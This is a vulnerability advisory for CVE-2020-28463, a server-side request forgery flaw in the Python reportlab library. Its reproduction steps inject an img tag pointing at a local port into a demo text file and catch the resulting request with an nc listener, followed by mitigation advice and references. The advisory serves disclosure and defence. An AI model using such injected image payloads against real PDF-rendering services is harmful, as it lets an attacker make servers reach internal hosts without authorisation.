CVE-2020-28463: Server-side Request Forgery (SSRF) via img tags in reportlab
(updated )
All versions of package reportlab at time of writing are vulnerable to Server-side Request Forgery (SSRF) via img tags. In order to reduce risk, use trustedSchemes & trustedHosts (see in Reportlab’s documentation)
Steps to reproduce by Karan Bamal:
- Download and install the latest package of reportlab
- Go to demos -> odyssey -> dodyssey
- In the text file odyssey.txt that needs to be converted to pdf inject
<img src="http://127.0.0.1:5000" valign="top"/>
- Create a nc listener
nc -lp 5000
- Run python3 dodyssey.py
- You will get a hit on your nc showing we have successfully proceded to send a server side request
- dodyssey.py will show error since there is no img file on the url, but we are able to do SSRF
References
- bugzilla.redhat.com/show_bug.cgi?id=1930417
- github.com/advisories/GHSA-mpvw-25mg-59vx
- github.com/pypa/advisory-database/tree/main/vulns/reportlab/PYSEC-2021-146.yaml
- hg.reportlab.com/hg-public/reportlab
- hg.reportlab.com/hg-public/reportlab/file/f094d273903a/CHANGES.md
- hg.reportlab.com/hg-public/reportlab/rev/7f2231703dc7
- lists.debian.org/debian-lts-announce/2023/09/msg00037.html
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HMUJA5GZTPQ5WRYUCCK2GEZM4W43N7HH
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YZQSFCID67K6BTC655EQY6MNOF35QI44
- nvd.nist.gov/vuln/detail/CVE-2020-28463
- snyk.io/vuln/SNYK-PYTHON-REPORTLAB-1022145
- www.reportlab.com/docs/reportlab-userguide.pdf
Detect and mitigate CVE-2020-28463 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →